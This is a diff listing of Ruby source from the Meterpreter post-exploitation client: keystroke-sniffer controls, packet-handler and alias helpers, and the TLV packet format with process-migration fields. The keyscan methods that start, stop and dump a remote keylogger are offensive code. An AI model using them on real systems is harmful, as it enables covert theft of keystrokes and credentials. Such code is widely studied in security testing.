def keyscan_start
|
|
199
|
+
request = Packet.create_request('stdapi_ui_start_keyscan')
|
|
200
|
+
response = client.send_request(request)
|
|
201
|
+
return true
|
|
202
|
+
end
|
|
203
|
+
|
|
204
|
+
#
|
|
205
|
+
# Stop the keyboard sniffer
|
|
206
|
+
#
|
|
207
|
+
def keyscan_stop
|
|
208
|
+
request = Packet.create_request('stdapi_ui_stop_keyscan')
|
|
209
|
+
response = client.send_request(request)
|
|
210
|
+
return true
|
|
211
|
+
end
|
|
212
|
+
|
|
213
|
+
#
|
|
214
|
+
# Dump the keystroke buffer
|
|
215
|
+
#
|
|
216
|
+
def keyscan_dump
|
|
217
|
+
request = Packet.create_request('stdapi_ui_get_keys')
|
|
218
|
+
response = client.send_request(request)
|
|
219
|
+
return response.get_tlv_value(TLV_TYPE_KEYS_DUMP);
|
|
220
|
+
end
|
|
221
|
+
|
|
222
|
+
protected
|
|
223
|
+
attr_accessor :client # :nodoc:
|
|
224
|
+
|
|
225
|
+
end
|
|
226
|
+
|
|
227
|
+
end; end; end; end; end
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
|
|
7
|
+
###
|
|
8
|
+
#
|
|
9
|
+
# Mixin that provides stubs for handling inbound packets
|
|
10
|
+
#
|
|
11
|
+
###
|
|
12
|
+
module InboundPacketHandler
|
|
13
|
+
|
|
14
|
+
#
|
|
15
|
+
# Stub request handler that returns false by default.
|
|
16
|
+
#
|
|
17
|
+
def request_handler(client, packet)
|
|
18
|
+
return false
|
|
19
|
+
end
|
|
20
|
+
|
|
21
|
+
#
|
|
22
|
+
# Stub response handler that returns false by default.
|
|
23
|
+
#
|
|
24
|
+
def response_handler(client, packet)
|
|
25
|
+
return false
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
end
|
|
29
|
+
|
|
30
|
+
end; end; end
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
|
|
7
|
+
###
|
|
8
|
+
#
|
|
9
|
+
# Mixin for classes that wish to have object aliases but do not
|
|
10
|
+
# really need to inherit from the ObjectAliases class.
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
module ObjectAliasesContainer
|
|
14
|
+
|
|
15
|
+
#
|
|
16
|
+
# Initialize the instance's aliases.
|
|
17
|
+
#
|
|
18
|
+
def initialize_aliases(aliases = {})
|
|
19
|
+
self.aliases = aliases
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
#
|
|
23
|
+
# Pass-thru aliases.
|
|
24
|
+
#
|
|
25
|
+
def method_missing(symbol, *args)
|
|
26
|
+
self.aliases[symbol.to_s]
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
#
|
|
30
|
+
# Recursively dumps all of the aliases registered with a class that
|
|
31
|
+
# is kind_of? ObjectAliases.
|
|
32
|
+
#
|
|
33
|
+
def dump_alias_tree(parent_path, current = nil)
|
|
34
|
+
items = []
|
|
35
|
+
|
|
36
|
+
if (current == nil)
|
|
37
|
+
current = self
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
# If the current object may have object aliases...
|
|
41
|
+
if (current.kind_of?(Rex::Post::Meterpreter::ObjectAliases))
|
|
42
|
+
current.aliases.each_key { |x|
|
|
43
|
+
current_path = parent_path + '.' + x
|
|
44
|
+
|
|
45
|
+
items << current_path
|
|
46
|
+
|
|
47
|
+
items.concat(dump_alias_tree(current_path,
|
|
48
|
+
current.aliases[x]))
|
|
49
|
+
}
|
|
50
|
+
end
|
|
51
|
+
|
|
52
|
+
return items
|
|
53
|
+
end
|
|
54
|
+
|
|
55
|
+
#
|
|
56
|
+
# The hash of aliases.
|
|
57
|
+
#
|
|
58
|
+
attr_accessor :aliases
|
|
59
|
+
end
|
|
60
|
+
|
|
61
|
+
###
|
|
62
|
+
#
|
|
63
|
+
# Generic object aliases from a class instance referenced symbol to an
|
|
64
|
+
# associated object of an arbitrary type
|
|
65
|
+
#
|
|
66
|
+
###
|
|
67
|
+
class ObjectAliases
|
|
68
|
+
include Rex::Post::Meterpreter::ObjectAliasesContainer
|
|
69
|
+
|
|
70
|
+
##
|
|
71
|
+
#
|
|
72
|
+
# Constructor
|
|
73
|
+
#
|
|
74
|
+
##
|
|
75
|
+
|
|
76
|
+
# An instance
|
|
77
|
+
def initialize(aliases = {})
|
|
78
|
+
initialize_aliases(aliases)
|
|
79
|
+
end
|
|
80
|
+
end
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
end; end; end
|
|
@@ -0,0 +1,596 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
|
|
7
|
+
#
|
|
8
|
+
# Constants
|
|
9
|
+
#
|
|
10
|
+
PACKET_TYPE_REQUEST = 0
|
|
11
|
+
PACKET_TYPE_RESPONSE = 1
|
|
12
|
+
PACKET_TYPE_PLAIN_REQUEST = 10
|
|
13
|
+
PACKET_TYPE_PLAIN_RESPONSE = 11
|
|
14
|
+
|
|
15
|
+
#
|
|
16
|
+
# TLV Meta Types
|
|
17
|
+
#
|
|
18
|
+
TLV_META_TYPE_NONE = 0
|
|
19
|
+
TLV_META_TYPE_STRING = (1 << 16)
|
|
20
|
+
TLV_META_TYPE_UINT = (1 << 17)
|
|
21
|
+
TLV_META_TYPE_RAW = (1 << 18)
|
|
22
|
+
TLV_META_TYPE_BOOL = (1 << 19)
|
|
23
|
+
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
|
24
|
+
TLV_META_TYPE_GROUP = (1 << 30)
|
|
25
|
+
TLV_META_TYPE_COMPLEX = (1 << 31)
|
|
26
|
+
|
|
27
|
+
#
|
|
28
|
+
# TLV base starting points
|
|
29
|
+
#
|
|
30
|
+
TLV_RESERVED = 0
|
|
31
|
+
TLV_EXTENSIONS = 20000
|
|
32
|
+
TLV_USER = 40000
|
|
33
|
+
TLV_TEMP = 60000
|
|
34
|
+
|
|
35
|
+
#
|
|
36
|
+
# TLV Specific Types
|
|
37
|
+
#
|
|
38
|
+
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
|
39
|
+
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
|
40
|
+
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
|
41
|
+
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
|
42
|
+
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
|
43
|
+
|
|
44
|
+
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
|
45
|
+
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
|
46
|
+
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
|
47
|
+
|
|
48
|
+
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
|
49
|
+
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
|
50
|
+
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
|
51
|
+
|
|
52
|
+
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
|
53
|
+
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
|
54
|
+
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
|
55
|
+
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
|
56
|
+
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|
57
|
+
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
|
58
|
+
|
|
59
|
+
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
|
60
|
+
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
|
61
|
+
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
|
62
|
+
|
|
63
|
+
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
|
64
|
+
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
|
65
|
+
|
|
66
|
+
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
|
67
|
+
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
|
68
|
+
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
|
69
|
+
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
|
70
|
+
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
|
|
71
|
+
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
|
|
72
|
+
|
|
73
|
+
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
|
74
|
+
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
|
75
|
+
|
|
76
|
+
#
|
|
77
|
+
# Core flags
|
|
78
|
+
#
|
|
79
|
+
LOAD_LIBRARY_FLAG_ON_DISK = (1 << 0)
|
|
80
|
+
LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1)
|
|
81
|
+
LOAD_LIBRARY_FLAG_LOCAL = (1 << 2)
|
|
82
|
+
|
|
83
|
+
###
|
|
84
|
+
#
|
|
85
|
+
# Base TLV (Type-Length-Value) class
|
|
86
|
+
#
|
|
87
|
+
###
|
|
88
|
+
class Tlv
|
|
89
|
+
attr_accessor :type, :value, :compress
|
|
90
|
+
|
|
91
|
+
##
|
|
92
|
+
#
|
|
93
|
+
# Constructor
|
|
94
|
+
#
|
|
95
|
+
##
|
|
96
|
+
|
|
97
|
+
#
|
|
98
|
+
# Returns an instance of a TLV.
|
|
99
|
+
#
|
|
100
|
+
def initialize(type, value = nil, compress=false)
|
|
101
|
+
@type = type
|
|
102
|
+
@compress = compress
|
|
103
|
+
|
|
104
|
+
if (value != nil)
|
|
105
|
+
if (type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
|
|
106
|
+
if (value.kind_of?(Fixnum))
|
|
107
|
+
@value = value.to_s
|
|
108
|
+
else
|
|
109
|
+
@value = value.dup
|
|
110
|
+
end
|
|
111
|
+
else
|
|
112
|
+
@value = value
|
|
113
|
+
end
|
|
114
|
+
end
|
|
115
|
+
end
|
|
116
|
+
|
|
117
|
+
##
|
|
118
|
+
#
|
|
119
|
+
# Conditionals
|
|
120
|
+
#
|
|
121
|
+
##
|
|
122
|
+
|
|
123
|
+
#
|
|
124
|
+
# Checks to see if a TLVs meta type is equivalent to the meta type passed.
|
|
125
|
+
#
|
|
126
|
+
def meta_type?(meta)
|
|
127
|
+
return (self.type & meta == meta)
|
|
128
|
+
end
|
|
129
|
+
|
|
130
|
+
#
|
|
131
|
+
# Checks to see if the TLVs type is equivalent to the type passed.
|
|
132
|
+
#
|
|
133
|
+
def type?(type)
|
|
134
|
+
return self.type == type
|
|
135
|
+
end
|
|
136
|
+
|
|
137
|
+
#
|
|
138
|
+
# Checks to see if the TLVs value is equivalent to the value passed.
|
|
139
|
+
#
|
|
140
|
+
def value?(value)
|
|
141
|
+
return self.value == value
|
|
142
|
+
end
|
|
143
|
+
|
|
144
|
+
##
|
|
145
|
+
#
|
|
146
|
+
# Serializers
|
|
147
|
+
#
|
|
148
|
+
##
|
|
149
|
+
|
|
150
|
+
#
|
|
151
|
+
# Converts the TLV to raw.
|
|
152
|
+
#
|
|
153
|
+
def to_r
|
|
154
|
+
raw = value.to_s;
|
|
155
|
+
|
|
156
|
+
if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
|
|
157
|
+
raw += "\x00"
|
|
158
|
+
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
|
159
|
+
raw = [value].pack("N")
|
|
160
|
+
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
|
161
|
+
if (value == true)
|
|
162
|
+
raw = [1].pack("c")
|
|
163
|
+
else
|
|
164
|
+
raw = [0].pack("c")
|
|
165
|
+
end
|
|
166
|
+
end
|
|
167
|
+
|
|
168
|
+
# check if the tlv is to be compressed...
|
|
169
|
+
if( @compress )
|
|
170
|
+
raw_uncompressed = raw
|
|
171
|
+
# compress the raw data
|
|
172
|
+
raw_compressed = Rex::Text.zlib_deflate( raw_uncompressed )
|
|
173
|
+
# check we have actually made the raw data smaller...
|
|
174
|
+
# (small blobs often compress slightly larger then the origional)
|
|
175
|
+
# if the compressed data is not smaller, we dont use the compressed data
|
|
176
|
+
if( raw_compressed.length < raw_uncompressed.length )
|
|
177
|
+
# if so, set the TLV's type to indicate compression is used
|
|
178
|
+
self.type = self.type | TLV_META_TYPE_COMPRESSED
|
|
179
|
+
# update the raw data with the uncompressed data length + compressed data
|
|
180
|
+
# (we include the uncompressed data length as the C side will need to know this for decompression)
|
|
181
|
+
raw = [ raw_uncompressed.length ].pack("N") + raw_compressed
|
|
182
|
+
end
|
|
183
|
+
end
|
|
184
|
+
|
|
185
|
+
return [raw.length + 8, self.type].pack("NN") + raw
|
|
186
|
+
end
|
|
187
|
+
|
|
188
|
+
#
|
|
189
|
+
# Translates the raw format of the TLV into a sanitize version.
|
|
190
|
+
#
|
|
191
|
+
def from_r(raw)
|
|
192
|
+
self.value = nil
|
|
193
|
+
|
|
194
|
+
length, self.type = raw.unpack("NN");
|
|
195
|
+
|
|
196
|
+
# check if the tlv value has been compressed...
|
|
197
|
+
if( self.type & TLV_META_TYPE_COMPRESSED == TLV_META_TYPE_COMPRESSED )
|
|
198
|
+
# set this TLV as using compression
|
|
199
|
+
@compress = true
|
|
200
|
+
# remove the TLV_META_TYPE_COMPRESSED flag from the tlv type to restore the
|
|
201
|
+
# tlv type to its origional, allowing for transparent data compression.
|
|
202
|
+
self.type = self.type ^ TLV_META_TYPE_COMPRESSED
|
|
203
|
+
# decompress the compressed data (skipping the length and type DWORD's)
|
|
204
|
+
raw_decompressed = Rex::Text.zlib_inflate( raw[8..length-1] )
|
|
205
|
+
# update the length to reflect the decompressed data length (+8 for the length and type DWORD's)
|
|
206
|
+
length = raw_decompressed.length + 8
|
|
207
|
+
# update the raw buffer with the new length, decompressed data and updated type.
|
|
208
|
+
raw = [length, self.type].pack("NN") + raw_decompressed
|
|
209
|
+
end
|
|
210
|
+
|
|
211
|
+
if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
|
|
212
|
+
if (raw.length > 0)
|
|
213
|
+
self.value = raw[8..length-2]
|
|
214
|
+
else
|
|
215
|
+
self.value = nil
|
|
216
|
+
end
|
|
217
|
+
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
|
218
|
+
self.value = raw.unpack("NNN")[2]
|
|
219
|
+
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
|
220
|
+
self.value = raw.unpack("NNc")[2]
|
|
221
|
+
|
|
222
|
+
if (self.value == 1)
|
|
223
|
+
self.value = true
|
|
224
|
+
else
|
|
225
|
+
self.value = false
|
|
226
|
+
end
|
|
227
|
+
else
|
|
228
|
+
self.value = raw[8..length-1]
|
|
229
|
+
end
|
|
230
|
+
|
|
231
|
+
return length;
|
|
232
|
+
end
|
|
233
|
+
end
|
|
234
|
+
|
|
235
|
+
###
|
|
236
|
+
#
|
|
237
|
+
# Group TLVs contain zero or more TLVs
|
|
238
|
+
#
|
|
239
|
+
###
|
|
240
|
+
class GroupTlv < Tlv
|
|
241
|
+
attr_accessor :tlvs
|
|
242
|
+
|
|
243
|
+
##
|
|
244
|
+
#
|
|
245
|
+
# Constructor
|
|
246
|
+
#
|
|
247
|
+
##
|
|
248
|
+
|
|
249
|
+
#
|
|
250
|
+
# Initializes the group TLV container to the supplied type
|
|
251
|
+
# and creates an empty TLV array.
|
|
252
|
+
#
|
|
253
|
+
def initialize(type)
|
|
254
|
+
super(type)
|
|
255
|
+
|
|
256
|
+
self.tlvs = [ ]
|
|
257
|
+
end
|
|
258
|
+
|
|
259
|
+
##
|
|
260
|
+
#
|
|
261
|
+
# Group-based TLV accessors
|
|
262
|
+
#
|
|
263
|
+
##
|
|
264
|
+
|
|
265
|
+
#
|
|
266
|
+
# Enumerates TLVs of the supplied type.
|
|
267
|
+
#
|
|
268
|
+
def each(type = TLV_TYPE_ANY, &block)
|
|
269
|
+
get_tlvs(type).each(&block)
|
|
270
|
+
end
|
|
271
|
+
|
|
272
|
+
#
|
|
273
|
+
# Synonym for each.
|
|
274
|
+
#
|
|
275
|
+
def each_tlv(type = TLV_TYPE_ANY, &block)
|
|
276
|
+
each(type, block)
|
|
277
|
+
end
|
|
278
|
+
|
|
279
|
+
#
|
|
280
|
+
# Enumerates TLVs of a supplied type with indexes.
|
|
281
|
+
#
|
|
282
|
+
def each_with_index(type = TLV_TYPE_ANY, &block)
|
|
283
|
+
get_tlvs(type).each_with_index(&block)
|
|
284
|
+
end
|
|
285
|
+
|
|
286
|
+
#
|
|
287
|
+
# Synonym for each_with_index.
|
|
288
|
+
#
|
|
289
|
+
def each_tlv_with_index(type = TLV_TYPE_ANY, &block)
|
|
290
|
+
each_with_index(type, block)
|
|
291
|
+
end
|
|
292
|
+
|
|
293
|
+
#
|
|
294
|
+
# Returns an array of TLVs for the given type.
|
|
295
|
+
#
|
|
296
|
+
def get_tlvs(type)
|
|
297
|
+
if (type == TLV_TYPE_ANY)
|
|
298
|
+
return self.tlvs
|
|
299
|
+
else
|
|
300
|
+
type_tlvs = []
|
|
301
|
+
|
|
302
|
+
self.tlvs.each() { |tlv|
|
|
303
|
+
if (tlv.type?(type))
|
|
304
|
+
type_tlvs << tlv
|
|
305
|
+
end
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
return type_tlvs
|
|
309
|
+
end
|
|
310
|
+
end
|
|
311
|
+
|
|
312
|
+
##
|
|
313
|
+
#
|
|
314
|
+
# TLV management
|
|
315
|
+
#
|
|
316
|
+
##
|
|
317
|
+
|
|
318
|
+
#
|
|
319
|
+
# Adds a TLV of a given type and value.
|
|
320
|
+
#
|
|
321
|
+
def add_tlv(type, value = nil, replace = false, compress=false)
|
|
322
|
+
|
|
323
|
+
# If we should replace any TLVs with the same type...remove them first
|
|
324
|
+
if (replace)
|
|
325
|
+
each(type) { |tlv|
|
|
326
|
+
if (tlv.type == type)
|
|
327
|
+
self.tlvs.delete(tlv)
|
|
328
|
+
end
|
|
329
|
+
}
|
|
330
|
+
end
|
|
331
|
+
|
|
332
|
+
if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
|
|
333
|
+
tlv = GroupTlv.new(type)
|
|
334
|
+
else
|
|
335
|
+
tlv = Tlv.new(type, value, compress)
|
|
336
|
+
end
|
|
337
|
+
|
|
338
|
+
self.tlvs << tlv
|
|
339
|
+
|
|
340
|
+
return tlv
|
|
341
|
+
end
|
|
342
|
+
|
|
343
|
+
#
|
|
344
|
+
# Adds zero or more TLVs to the packet.
|
|
345
|
+
#
|
|
346
|
+
def add_tlvs(tlvs)
|
|
347
|
+
if (tlvs != nil)
|
|
348
|
+
tlvs.each { |tlv|
|
|
349
|
+
add_tlv(tlv['type'], tlv['value'])
|
|
350
|
+
}
|
|
351
|
+
end
|
|
352
|
+
end
|
|
353
|
+
|
|
354
|
+
#
|
|
355
|
+
# Gets the first TLV of a given type.
|
|
356
|
+
#
|
|
357
|
+
def get_tlv(type, index = 0)
|
|
358
|
+
type_tlvs = get_tlvs(type)
|
|
359
|
+
|
|
360
|
+
if (type_tlvs.length > index)
|
|
361
|
+
return type_tlvs[index]
|
|
362
|
+
end
|
|
363
|
+
|
|
364
|
+
return nil
|
|
365
|
+
end
|
|
366
|
+
|
|
367
|
+
#
|
|
368
|
+
# Returns the value of a TLV if it exists, otherwise nil.
|
|
369
|
+
#
|
|
370
|
+
def get_tlv_value(type, index = 0)
|
|
371
|
+
tlv = get_tlv(type, index)
|
|
372
|
+
|
|
373
|
+
return (tlv != nil) ? tlv.value : nil
|
|
374
|
+
end
|
|
375
|
+
|
|
376
|
+
#
|
|
377
|
+
# Returns an array of values for all tlvs of type type.
|
|
378
|
+
#
|
|
379
|
+
def get_tlv_values(type)
|
|
380
|
+
get_tlvs(type).collect { |a| a.value }
|
|
381
|
+
end
|
|
382
|
+
|
|
383
|
+
#
|
|
384
|
+
# Checks to see if the container has a TLV of a given type.
|
|
385
|
+
#
|
|
386
|
+
def has_tlv?(type)
|
|
387
|
+
return get_tlv(type) != nil
|
|
388
|
+
end
|
|
389
|
+
|
|
390
|
+
#
|
|
391
|
+
# Zeros out the array of TLVs.
|
|
392
|
+
#
|
|
393
|
+
def reset
|
|
394
|
+
self.tlvs = []
|
|
395
|
+
end
|
|
396
|
+
|
|
397
|
+
##
|
|
398
|
+
#
|
|
399
|
+
# Serializers
|
|
400
|
+
#
|
|
401
|
+
##
|
|
402
|
+
|
|
403
|
+
#
|
|
404
|
+
# Converts all of the TLVs in the TLV array to raw and prefixes them
|
|
405
|
+
# with a container TLV of this instance's TLV type.
|
|
406
|
+
#
|
|
407
|
+
def to_r
|
|
408
|
+
raw = ''
|
|
409
|
+
|
|
410
|
+
self.each() { |tlv|
|
|
411
|
+
raw << tlv.to_r
|
|
412
|
+
}
|
|
413
|
+
|
|
414
|
+
return [raw.length + 8, self.type].pack("NN") + raw
|
|
415
|
+
end
|
|
416
|
+
|
|
417
|
+
#
|
|
418
|
+
# Converts the TLV group container from raw to all of the individual
|
|
419
|
+
# TLVs.
|
|
420
|
+
#
|
|
421
|
+
def from_r(raw)
|
|
422
|
+
offset = 8
|
|
423
|
+
|
|
424
|
+
# Reset the TLVs array
|
|
425
|
+
self.tlvs = []
|
|
426
|
+
self.type = raw.unpack("NN")[1]
|
|
427
|
+
|
|
428
|
+
# Enumerate all of the TLVs
|
|
429
|
+
while (offset < raw.length-1)
|
|
430
|
+
|
|
431
|
+
tlv = nil
|
|
432
|
+
|
|
433
|
+
# Get the length and type
|
|
434
|
+
length, type = raw[offset..offset+8].unpack("NN")
|
|
435
|
+
|
|
436
|
+
if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
|
|
437
|
+
tlv = GroupTlv.new(type)
|
|
438
|
+
else
|
|
439
|
+
tlv = Tlv.new(type)
|
|
440
|
+
end
|
|
441
|
+
|
|
442
|
+
tlv.from_r(raw[offset..offset+length])
|
|
443
|
+
|
|
444
|
+
# Insert it into the list of TLVs
|
|
445
|
+
tlvs << tlv
|
|
446
|
+
|
|
447
|
+
# Move up
|
|
448
|
+
offset += length
|
|
449
|
+
end
|
|
450
|
+
end
|
|
451
|
+
|
|
452
|
+
end
|
|
453
|
+
|
|
454
|
+
###
|
|
455
|
+
#
|
|
456
|
+
# The logical meterpreter packet class
|
|
457
|
+
#
|
|
458
|
+
###
|
|
459
|
+
class Packet < GroupTlv
|
|
460
|
+
attr_accessor :created_at
|
|
461
|
+
|
|
462
|
+
##
|
|
463
|
+
#
|
|
464
|
+
# Factory
|
|
465
|
+
#
|
|
466
|
+
##
|
|
467
|
+
|
|
468
|
+
#
|
|
469
|
+
# Creates a request with the supplied method.
|
|
470
|
+
#
|
|
471
|
+
def Packet.create_request(method = nil)
|
|
472
|
+
return Packet.new(PACKET_TYPE_REQUEST, method)
|
|
473
|
+
end
|
|
474
|
+
|
|
475
|
+
#
|
|
476
|
+
# Creates a response to a request if one is provided.
|
|
477
|
+
#
|
|
478
|
+
def Packet.create_response(request = nil)
|
|
479
|
+
response_type = PACKET_TYPE_RESPONSE
|
|
480
|
+
method = nil
|
|
481
|
+
|
|
482
|
+
if (request)
|
|
483
|
+
if (request.type?(PACKET_TYPE_PLAIN_REQUEST))
|
|
484
|
+
response_type = PACKET_TYPE_PLAIN_RESPONSE
|
|
485
|
+
end
|
|
486
|
+
|
|
487
|
+
method = request.method
|
|
488
|
+
end
|
|
489
|
+
|
|
490
|
+
return Packet.new(response_type, method)
|
|
491
|
+
end
|
|
492
|
+
|
|
493
|
+
##
|
|
494
|
+
#
|
|
495
|
+
# Constructor
|
|
496
|
+
#
|
|
497
|
+
##
|
|
498
|
+
|
|
499
|
+
#
|
|
500
|
+
# Initializes the packet to the supplied packet type and method,
|
|
501
|
+
# if any. If the packet is a request, a request identifier is
|
|
502
|
+
# created.
|
|
503
|
+
#
|
|
504
|
+
def initialize(type = nil, method = nil)
|
|
505
|
+
super(type)
|
|
506
|
+
|
|
507
|
+
if (method)
|
|
508
|
+
self.method = method
|
|
509
|
+
end
|
|
510
|
+
|
|
511
|
+
self.created_at = ::Time.now
|
|
512
|
+
|
|
513
|
+
# If it's a request, generate a random request identifier
|
|
514
|
+
if ((type == PACKET_TYPE_REQUEST) ||
|
|
515
|
+
(type == PACKET_TYPE_PLAIN_REQUEST))
|
|
516
|
+
rid = ''
|
|
517
|
+
|
|
518
|
+
32.times { |val| rid << rand(10).to_s }
|
|
519
|
+
|
|
520
|
+
add_tlv(TLV_TYPE_REQUEST_ID, rid)
|
|
521
|
+
end
|
|
522
|
+
end
|
|
523
|
+
|
|
524
|
+
##
|
|
525
|
+
#
|
|
526
|
+
# Conditionals
|
|
527
|
+
#
|
|
528
|
+
##
|
|
529
|
+
|
|
530
|
+
#
|
|
531
|
+
# Checks to see if the packet is a response.
|
|
532
|
+
#
|
|
533
|
+
def response?
|
|
534
|
+
return ((self.type == PACKET_TYPE_RESPONSE) ||
|
|
535
|
+
(self.type == PACKET_TYPE_PLAIN_RESPONSE))
|
|
536
|
+
end
|
|
537
|
+
|
|
538
|
+
##
|
|
539
|
+
#
|
|
540
|
+
# Accessors
|
|
541
|
+
#
|
|
542
|
+
##
|
|
543
|
+
|
|
544
|
+
#
|
|
545
|
+
# Checks to see if the packet's method is equal to the supplied method.
|
|
546
|
+
#
|
|
547
|
+
def method?(method)
|
|
548
|
+
return (get_tlv_value(TLV_TYPE_METHOD) == method)
|
|
549
|
+
end
|
|
550
|
+
|
|
551
|
+
#
|
|
552
|
+
# Sets the packet's method TLV to the method supplied.
|
|
553
|
+
#
|
|
554
|
+
def method=(method)
|
|
555
|
+
add_tlv(TLV_TYPE_METHOD, method, true)
|
|
556
|
+
end
|
|
557
|
+
|
|
558
|
+
#
|
|
559
|
+
# Returns the value of the packet's method TLV.
|
|
560
|
+
#
|
|
561
|
+
def method
|
|
562
|
+
return get_tlv_value(TLV_TYPE_METHOD)
|
|
563
|
+
end
|
|
564
|
+
|
|
565
|
+
#
|
|
566
|
+
# Checks to see if the packet's result value is equal to the supplied
|
|
567
|
+
# result.
|
|
568
|
+
#
|
|
569
|
+
def result?(result)
|
|
570
|
+
return (get_tlv_value(TLV_TYPE_RESULT) == result)
|
|
571
|
+
end
|
|
572
|
+
|
|
573
|
+
#
|
|
574
|
+
# Sets the packet's result TLV.
|
|
575
|
+
#
|
|
576
|
+
def result=(result)
|
|
577
|
+
add_tlv(TLV_TYPE_RESULT, result, true)
|
|
578
|
+
end
|
|
579
|
+
|
|
580
|
+
#
|
|
581
|
+
# Gets the value of the packet's result TLV.
|
|
582
|
+
#
|
|
583
|
+
def result
|
|
584
|
+
return get_tlv_value(TLV_TYPE_RESULT)
|
|
585
|
+
end
|
|
586
|
+
|
|
587
|
+
#
|
|
588
|
+
# Gets the value of the packet's request identifier TLV.
|
|
589
|
+
#
|
|
590
|
+
def rid
|
|
591
|
+
return get_tlv_value(TLV_TYPE_REQUEST_ID)
|
|
592
|
+
end
|
|
593
|
+
end
|
|
594
|
+
|
|
595
|
+
end; end; end
|
|
596
|
+
|